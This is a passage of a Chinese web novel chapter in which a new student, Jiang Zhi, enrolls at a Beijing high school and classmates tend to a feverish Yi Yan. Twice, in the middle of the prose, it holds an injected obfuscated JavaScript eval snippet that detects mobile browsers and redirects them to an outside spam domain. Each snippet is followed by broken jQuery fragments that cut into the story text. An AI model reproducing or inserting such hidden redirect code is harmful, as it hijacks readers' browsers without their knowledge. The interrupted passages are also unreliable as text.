江栀无比烦心地想着,眼珠不经意又移向客厅和卫生间。
客厅空荡荡,只有韩妗身影来回晃悠,卫生间门大敞着,明显也没人的样子。
那,要不要喊喊他啊?
正纠结呢,韩妗往她这儿一瞅,啧声。
“愣着干嘛,洗漱啊!忘了等会儿要去办入学手续?快点,别磨蹭了,人易晏可是半小时前就去学校了。”
“啊。”
江栀茫然看向客厅墙上的电子时钟。
可是这才五点五十啊……
他有必要这么卷吗?
莫名地,江栀心底油然而生一股子不服,果断打开水龙头往脸上扑了捧凉水醒神,困意顷刻散了个大半。
走出门,也没胃口吃早饭了。
叼了块面包片就往外走。
“要我和你一块去不?”
“不用了,小姨。”不出所料的拒绝。
韩妗追在她背后叮咛:“行吧,那你不认路就多问问,班主任电话我发你微信了,实在找不到联系他也成。”
已经下了一层楼的江栀敷衍嗯两声,头也没回:“知道。”
她独立性可好了,哪儿用人这么操心啊。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483650|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
江栀参考手机地图,成功摸到一条省时的捷径。
不得不说她小姨父办事是真效率。
越过闸机的时候,她本来还担忧又碰上昨晚那种尴尬场面呢,跟保安解释的措辞都想好了,结果冷不丁一抬头,两边挡板已经自动弹开。
过程顺利得不行。
一脚跨进附中南门。
再向前走几百米,穿过一排看不到尽头的道干树,和铁丝网横隔开的操场和室外球馆,以及类似多媒体礼堂样的建筑群。
来到一块指示路标前。
江栀对着导航仔细核对,觉得应该就是主教学楼没错。
早读结束,周围来来往往有不少穿着校服的少年少女们进出,江栀一身便装站在那儿,怎么看怎么醒目。
但她没管身后那些或好奇或打量的视线,心特大地杵在路牌中央将当前位置着重检查了好几遍,确定没问题后才转回身,恰好跟一张熟面庞迎面撞上。
方才隔得远,蒋嘉还错觉是自己眼花。
不抱希望地过来,只是秉持附中传扬的雷锋精神,打算问问这位新同学需不需要帮助,毕竟她看起来还真挺迷茫。
但没想到,走近了才发现。这人还真就是他昨个儿一见钟情的那姑娘。
多奇妙的缘分。
又见面了。
江栀显然也没料到会在这个时间段、在这里遇见他。
呆了两秒,瞧着对方校服上别的胸牌,礼貌颔首道:“你好,蒋同学。”
“哇,仙女…诶不是,同学,你居然认识我吗?”蒋嘉眼瞳一亮,兴奋解释:“昨天!我们在商场见过!”
江栀默了默。
“嗯……有那么一点点印象。”
“你是在找教室吗?”
“对,我……”江栀歪头,又看一眼他的年级牌:“你方便带我去一下教学楼吗?”
“方便方便。”蒋嘉狂点头,问了句废话:“你也高二啊?”
江栀弯了弯嘴角:“是呀。”
蒋嘉被那笑容一晃,内心一阵“卧槽”,脸腾地红透:“那、那很巧了。”
江栀狐疑瞄他:“你怎么了?”
“没事儿,”蒋嘉不敢再看她,目光端正直视前方,表面装得风轻云淡,内心紧张到连走路都变得同手同脚。
顺路碰见不少熟悉的狐朋狗友,见状,一个接一个地勾肩搭背缠上来,故意打趣调侃。
“嘉爷今儿这是散什么德行?”
无一例外全被蒋嘉反手推开。
“滚。”
好友稀奇:“咋就你一个?易晏他们呢?”
也不知道是不是触发到了聊天关键词,蒋嘉话可算多了点:“晏晏生病请假,老贺陪着去医务室,让我回来拿卷子。”
他刚从那儿过来。
那丫早上没吃饭,早读时低血糖加感冒,脸色差得要死。
让他去看医生偏不,嫌药苦,硬抗。
几十分钟撑下来,脑袋径直烫到三十九度。
人蔫得不成样了才被他和贺知尧一边一个揪着拖去了医务所。
“纯他妈会糟蹋人。”蒋嘉骂道。
“哈哈,少爷身娇体弱,理解一下。”好友不以为意,余光仿佛这才看到一旁默不作声跟着的新面孔,挤眉弄眼地用肩膀顶了顶蒋嘉:“不给兄弟介绍一下?”
话题过渡得生硬。蒋嘉眯眼笑了笑,脱口而出依然是那个字——
“滚。”
“……”
男生们在一旁嘻嘻哈哈地插科打诨。
江栀眼睫低垂,竭力把自己的存在感降到最低。
其实她并不想探究别人隐私。可惜他们嗓门太大,想避开都难。因此那些对话自然会全一字不拉地听了个清楚。
那人发烧了还这么拼?
江栀一路情绪复杂地跟随蒋嘉一行来到高二组办公室。
对方甩掉其他人,扬嗓喊了声“报告”。
门一开,韩妗让江栀找的那位刘主任此刻就正站在窗边,对光欣赏着刚写好的红榜。
也不知该夸她眼尖,还是怎么。
江栀几乎一眼就瞧见了最底那行跟镶金边似的名字——
易晏。
高二(1)班,易晏。
“……”
所以他成天到晚瞎卷个什么劲儿啊。
7. 犯娇气
*
刘天福就是北附高二这届的年级主任。奔五的年龄,有一头异常不符合年纪的浓密黑发。
虽说外观看上去不像江栀印象中那种古板的特级教师,没有所谓标配的啤酒肚和地中海,但通身气场却是一整个老气横秋。
看见蒋嘉,手倒是极自然地把红榜放下,改端起桌角泡着枸杞和菊花茶的双层透色玻璃杯,像模像样品了口,“咂巴”一下。
“哟,稀客啊。”
蒋嘉乐呵呵陪笑。
屋内一共摆了四张桌子,二对二地面对面挨着,刘天福工位靠里,斜对面还坐了个戴着金丝细边眼镜的同龄女老师,闻声,也顺带往门口望一眼。
“你怎么又回来了?易晏怎么样?”
蒋嘉接话接得顺溜:“他好着呢,校医老师给吊了针,说打完就没事了。”
话落,女老师复转回头去敲键盘:“哦,不耽误下周的升旗仪式就行。”
蒋嘉了然同她打哑谜:“那哪儿能啊。”
刘天福应该也听懂,笑了笑,没再说话。
因此,在场唯一懵圈的,就只剩下初来乍到的江栀一个人。刘天福抬眸注意到她,打量一圈后皱眉:“这位同学是?”
江栀笑意略显拘谨:“老师您好,我叫江栀,是来办……”
说到这儿,刘天福一拍脑袋想起来了,张嘴正要开口回应,却听见蒋嘉那浑小子转身十分捧场地“哇”了声:“好名字啊。”
“……”
气氛尬住半秒。
刘天福头疼捏了捏额角,警告他:“别捣乱,哪儿凉快哪儿待着去。”
蒋嘉才不,心怀鬼胎看一眼他桌台墙边快干的水缸里那只窝在角落无精打采打盹的乌龟,献殷勤道:“刘老师,要不,我去给‘来福’换盆水吧?”
没人搭理他,蒋嘉就自己往过挪。
其实室内就有净水池,但那是老师们平常洗手用的,蒋嘉既主动揽了这棘手活,当然不敢在俩人眼皮底下偷懒造次,脑筋转了转,还是老老实实端着王八缸到厕所折腾去了。
回来时,看见江栀趴那儿填表,特意放慢脚步从她背后绕,脖子伸老长,就为了看清人被分到哪班。
同班估计希望渺茫。
他和易晏这帮发小,读的是特色早培,小五时就选上来,走竞赛特长的综合路子,班内名额基本固定,除了每次升级时会择优录取,淘汰末位,再从普班分流上来那么一两个,否则一般可轻易变动不了。
规则一直存在,可实践起来却有点难。
因为他们哪怕倒一,也能甩底下一大截。
不过也不是没有例外。
比如上回假前的全区期末测,一帮人聚到一堆还出了个馊主意,说次次比分高早麻了,哪次不是他易晏一骑绝尘,赢面太明显没意思,不如改猜谁垫底,哥几个合伙赌一块IWC飞行员,主打一个人文主意关怀拉满。
结果谁承想,到最后易晏那狗逼黑吃黑玩控分,愣是把往常概率最大的陈乐舟和蒋嘉地位抢了。
好死不死,挑衅似的,主科统共凑了个250。
明摆骂他们呢。
也就陈乐舟那心眼大的没和他计较,反而幸灾乐祸笑话他自损八百。
这波操作该说不说。
玩够狠。
气得刘天福当场拍着桌子骂。
但人少爷也没反驳,乖乖点头应了,脸不红心不跳讲下次不会。听到刘天福吹胡子瞪眼一句“还有下次”后,又立马淡定改口说“老师您别生气,我知道错了”,一副真假难辨的软钉子架势,让人气不顺,却也挑不出错。
见状,周围人全在求情说算了,唯独蒋嘉反着来。他原本表都加购物车里了,就等成绩出来兄弟们报销,中途却被这么横插一杠子,换谁谁不来气?轻拿轻放没可能,当即便怂恿老师对此一定要小惩大戒,绝不姑息!
察觉到背后一道灼热视线,江栀填表的笔尖蓦地顿住。
“要不…你先过吧。”她还以为是自己挡路,忙要站起来给他让道。
“不用,”蒋嘉被抓包也不尴尬,由于手上托着东西不好操作,摇了摇头:“你写你的。”
江栀:“我得一会儿呢。”
“……”
好吧。计划失败。
蒋嘉匆匆瞥一眼她才填好的那两行表。
生日在国庆啊,这么巧,和晏晏撞上了?
打印机开始运作。
女老师见蒋嘉手腾空,直接使唤:“得,回去顺便把过会儿课堂测的卷子带着。”
蒋嘉哀嚎了声:“啊,放假前不是刚考过吗?怎么才开学第一天,又考啊……”
女老师乐了:“你昨个儿吃饭,今儿还要不要吃啊?”
蒋嘉嘟嘟囔囔:“这哪儿有可比性。”
女老师:“少废话,这次再给我整幺蛾子,小心叫你家长。”
“那您应该先喊易教授……”
女老师一记眼刀飙过去,蒋嘉及时刹住了嘴,嘿嘿笑两声,麻溜滚蛋,走之前还不忘跟江栀耍帅招呼一声:“江栀同学,以后有空欢迎来一班找我玩,诶,不是……”
迎着两位老师“和蔼”的目光,蒋嘉话音异常从心地打了个转儿:“交流学习啊~”
来去都风风火火的。
刘天福和女老师看样子早习以为常,默契收眼叹了口气。
可算消停了。
-
中午最后一节课的下课铃打响。
掐着点,蒋嘉火速冲到食堂打了三份不重样的午饭装进饭盒,打包带着就往医务室走。
进门时候,易晏刚拔针。
贺知尧没事人样漫不经心往他脸上瞥一眼,问:“你怎么不干脆等我们饿死了再来?”
“……”
蒋嘉没搭理他,哼着歌把饭菜整整齐齐码一排摆桌上。
“心情挺不错?”
“必须。”
“真够难得的啊。”贺知尧自觉抽了把椅子坐下,“看来太后这次题还是出保守了。”
“……”
妈的,这人哪壶不开提哪壶。
蒋嘉皮笑肉不笑伸手把他面前的小面撤走:“我说你丫怎么非死守在这儿呢,早得了信了是吧?”
贺知尧耸耸肩:“这不有脑子就知道?”
“……”
没脑子的蒋嘉恶狠狠瞪他一眼。
隔间门被敲了敲,校医老师站在门口,嘱咐易晏注意观测体温变化,后者蔫得连眼都懒得眨,鼻腔哼出点音,就算回复。
校医老师板脸训完他,不放心,又扭头跟他两“保姆”说:“看着点啊,可别不当回事儿。”
“得嘞。”蒋嘉适应得很快,等老师走了以后,还颇为尽心尽职地拆了包一次性餐具,往易晏手边塞:“呐,快吃吧,我的大小姐。”
易晏精神实在不好,强撑着扫一眼自己面前清汤寡水连根菜叶子都没飘的大白粥,娇气劲儿又上来,话里几分嫌:“这怎么吃啊。”
“勺子舀着喝啊。”蒋嘉理直气壮。
“……”
贺知尧笑得不行:“你快别逗他了,再给气晕过去。”
于是蒋嘉再接再励把碗往他面前一推。
“……”
易晏深呼吸了两下。
没动。
“说起来,最近不换季也不降温的,”蒋嘉纯好奇,静不下来地没话找话,意有所指开腔说:“晏晏,你这病得蛮蹊跷啊。”
巧毛线啊。
易晏冷淡着一张脸瞅他。
一回忆起昨晚的情景,尤其那股浸水后布料湿答答紧贴皮肤的触感,他就难受。
好不容易消下去的烦躁劲儿又一股脑涌上。
昨晚回房之后他在卧室柜子翻了好久,才发现不是他忘不忘带的问题,是压根他妈的没有。后来只能点外卖,大晚上抹黑拿回来的时候,不可避免地路过阳台,又碰到晾衣杆,不小心撞了那谁才洗好了的睡裙到地上,一时手足无措,只好认命重新给她手揉了一遍。
洗之前他没多想,洗完以后才觉得是不是不太好,烦得搁那儿倚栏思考了半天人生。
当时窗户没关,而且最近夜里本来就返潮,温差挺强烈的,再加上白天咖啡厅受得那点凉,他又不是铁人,可不就病了么。
一大早热醒感觉不对。
易晏还真就从来没起这么早过。
五点不到。脑袋疼得要死,还在想,得赶紧起,别再跟她洗漱又撞上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483651|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
多尴尬。
蒋嘉不清楚易晏脑子在想什么。
这人就这样,不高兴时发脾气的其中一个方式就是不理人,装死装得很曼妙。
要不是偶尔还能听见他略显粗重的喘气,蒋嘉简直都要合理怀疑这人走了有一会儿了。但他此刻也没咋在意,兀自又聊起别的:“诶——”
贺知尧咀嚼的动作一顿:“饭里下毒了?”
“……”蒋嘉翻了个白眼。
“你这突然来一声,怪吓人的。”
“转折懂不懂?!”
“哦。”贺知尧安心了。
“我和你们讲,我又见着那个漂亮妹妹了。”
贺知尧语气幽幽:“你丫成天认妹妹。”
“少诽谤。”蒋嘉阴恻恻威胁:“以后这话可不能乱说,要是被别人听到误会我要你好看。”
“我拭目以待。”贺知尧习以为常地点头。
这边聊得热火朝天,对面易晏照样是那副面无表情的死出,不参与也不打断,不乐意吃这种“赈灾粮”一样的午饭,索性动手把两边袋子系回去,人往后靠,又懒洋洋斜躺到病床上补觉。
“晏晏你真不吃啊?”蒋嘉在背后大着嗓门训他:“我跟你说你这样真不行,啥时候了,别犯娇气成不……”
“能小点声吗?”易晏声音轻飘飘,听起来着实萎靡,好像真没什么力气和他斗嘴:“困。”
贺知尧冲蒋嘉使了个眼色。
让他就由他去吧,病着没胃口正常。
蒋嘉不赞同,朝那碗没受半点皮外伤的白粥扬下巴。
意思是饿出好歹咋办。
操心老妈子人设立得稳稳当当。
贺知尧不惯着:“那你行你上。”
于是,蒋嘉目光往那人极难搞的背影上一眺,只斟酌两秒不到,果断放弃。
老实巴交捏起筷子吃自己的饭。
一时再无他话。
……
另一边。
江栀独自一人苦兮兮趴办公桌填了整整一中午表,过了饭点才堪堪结束。
中途午休,老师们进进出出全回来了。
其中有一个年轻女老师瞧她没吃饭,还特友善地要把自己的外卖送给她吃,江栀哪儿敢接,胡乱摆手解释自己不饿。
不光她,刘天福也没能顾上吃饭,陪她走完程序,抬头一看表,正好到上课点。
“李老师。”他出声拦住另一位起身欲走的女老师,“你这节是三班的课对吧,刚好,带你们班的新学生一起。”
转过头,向江栀介绍:“这是李瑶老师,教英语的,你班主任。”
江栀乖巧鞠躬:“李老师好。”
李瑶嗯声,整理资料往桌面钝两下,展臂,看了眼米色西装袖口漏出来的腕表:“还有六分钟,你或许可以先去吃个饭?”
“不用了老师。”
“那行,”她雷厉风行地绕过她:“跟上,边走边说。”
啊?
江栀人没反应过来,对方已经推门走了,她连忙拔脚跟上去,不忘和刘天福“再见”。
“你的成绩我看过,底子不错。”
路上碰巧遇到一群打闹的学生嬉皮笑脸准备冲李瑶招呼“瑶姐好啊”,然而话音未落,皆被一个斜眼瞪老实,安分噤声了。
“高二分科,咱北京今年政策和你老家那边不太一样,3+3选考附分模式,虽没了严格的文理划分,可实验班压力肯定还是有,类比强基班的滚动制,当然,平常小测不算,只看市区联合大考。”
李瑶一口气说了好长一串,担心江栀消化不了,忽地止住。
“不着急,你先慢慢适应一段日子,至于重新选科的事,回去再和家长商量,一切以自己的最大利益出发。”
“好的,李老师。”
穿过走廊,沿旋转楼梯逆流下一层,
来到班门口,不巧,和迎面准备上楼的蒋嘉一帮人又碰上。
“啊啊啊晏晏你快看!”
易晏被抓着胳膊摇得头脑发晕,耳朵也快让他吼聋了,不情愿嘀咕了一嘴:“我看你妹。”
再抬睫,四目相对。
“……”
靠,还真特么是他妹。